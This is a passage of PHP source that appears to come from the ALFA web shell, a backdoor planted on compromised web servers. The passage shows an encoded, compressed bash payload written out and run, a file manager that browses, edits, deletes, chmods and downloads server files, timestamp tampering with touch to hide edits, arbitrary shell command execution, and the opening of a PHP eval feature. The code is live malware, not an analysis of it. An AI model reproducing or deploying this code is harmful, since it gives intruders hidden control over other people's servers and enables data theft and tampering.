$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
__alfa_set_cookie("alfachdir_bash", "true");
__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
}
$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
$dirContent = json_decode($dirContent, true);
if(is_array($dirContent)){
array_pop($dirContent);
$cmd_dir = true;
}else{
$dirContent = false;
}
}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if($alfa_limited_files > 0){
$files_page_count = ceil($count_dirContent/$alfa_limited_files);
if($files_page_count > 1){
$files_page_count++;
}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" '.($alfa_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($alfa_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$alfa_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
if($dirContent == false){
echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST['alfa1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
$n = ($alfa_limited_files * $alfa_files_page_number);
if($n > $count_dirContent){
$n = $count_dirContent;
}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
if($dirContent[$i]["type"]=="file"){
$files[] = array_merge($tmp, array('type' => 'file'));
}else{
if($dirContent[$i]["name"] != "."){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
if($_COOKIE["alfa_filesman_direction"] == 'desc'){
$files = array_reverse($files);
$dirs = array_reverse($dirs);
}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
$f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
$l = $l?0:1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
<input type='submit' value=' '>
</form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
$links = "";
if ($total_pages >= 1 && $current_page <= $total_pages) {
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
$selected_page = "";
if($current_page == 1){
$selected_page = " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
$i = max(2, $current_page - 5);
if ($i > 2)
$links .= "<a class=\"page-number\">...</a>";
for (; $i < min($current_page + 6, $total_pages); $i++) {
if($i == $current_page){
$selected_page = " active-page-number";
}else{
$selected_page = "";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
}
if ($i != $total_pages)
$links .= "<a class=\"page-number\">...</a>";
$selected_page = " last-page-number";
if($current_page == $total_pages){
$selected_page .= " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
}
return $links;
}
function alfaFilesTools(){
alfahead();
echo '<div class="filestools" style="height: 100%;">';
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
$alfa1_decoded = $_POST['alfa1'];
$chdir_fals = false;
if(!@chdir($_POST['c'])){
$chdir_fals = true;
$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if($alfa_canruncmd){
$slashed_alfa1 = addslashes($_POST['alfa1']);
$file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
$perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
}
}
if($_POST['alfa2'] == 'auto'){
if(is_array(@getimagesize($_POST['alfa1']))){
$_POST['alfa2'] = 'image';
}else{
$_POST['alfa2'] = 'view';
if($chdir_fals){
if($alfa_canruncmd){
$mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
$mimetype = $mime[1];
if(!empty($mimetype)){
if(strstr($mimetype, "image")){
$_POST['alfa2'] = 'image';
}
}
}
}
}
}
if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
if(@$_POST['alfa2'] == 'mkfile'){
$_POST['alfa1'] = trim($_POST['alfa1']);
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST["c"])){
alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
$_POST['alfa2'] = "edit";
}
}
if(!@file_exists($_POST['alfa1'])){
$fp = @fopen($_POST['alfa1'], 'w');
if($fp){
$_POST['alfa2'] = "edit";
fclose($fp);
}
}else{
$_POST['alfa2'] = "edit";
}
}
if(!_alfa_file_exists(@$_POST['alfa1'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
if(_alfa_can_runCommand()){
list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
}
}
}
if(substr($_POST['alfa1'], 0, 7) == "phar://"){
$alfa_file_directory = $_POST['alfa1'];
}else{
$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($alfa_file_directory).'</div>';
if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
if(!_alfa_is_dir($_POST['alfa1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('<div>');
foreach($m as $v)
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
echo '</div>';
switch($_POST['alfa2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['alfa3'])){
$_POST['alfa3'] = substr($_POST['alfa3'],1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
if($chdir_fals&&$alfa_canruncmd){
$rname = $alfa1_decoded;
$randname = $rname.rand(111,9999);
$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
if($fp = @__write_file($filepath ,$_POST['alfa3'])){
alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
}
}
if($fp){
echo 'Saved!<br>';
@touch($_POST['alfa1'],$time,$time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._alfa_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($alfa1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo '</pre></div></div>';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['alfa1'])){
echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['alfa1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['alfa1'])){
$deleted = false;
if($alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
$deleted = true;
}
}
}
if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['alfa3'])){
$perms = 0;
for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
if(!@chmod($_POST['alfa1'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
echo('Success!');
}else{
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
}else{echo('Success!');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
$file_perm = $file_info[5];
}else{
$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
}
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST['alfa3'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";updateFileEditor("'.$alfa1_escape.'", "'.$alfa3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
}
echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['alfa3']) ) {
$time = strtotime($_POST['alfa3']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
$touched = true;
}
if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo('<hr>');
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
$source = alfaEx("cat '".addslashes($file)."' | base64");
list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
$mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
$image_info['mime'] = $mime[1];
}else{
$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
}
break;
}
echo '</div>';
alfaFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode('.',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function alfadlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
$randname = $basename.rand(111,9999);
$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
$filepath = $scriptpath."/".$randname;
if(_alfa_is_writable($scriptpath)){
alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
readfile($filepath);
@unlink($filepath);
}else{
alfaEx("cat '".addslashes($_POST["file"])."'");
}
}else{
readfile($_POST['file']);
}
}else echo('Error...!');}}
function __alfa_set_cookie($key, $value){
$_COOKIE[$key] = $value;
@setcookie($key, $value, time()+(86400 * 7), '/');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
$tempdir = dirname(alfaEx("mktemp"));
__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "\n".'<tr>'
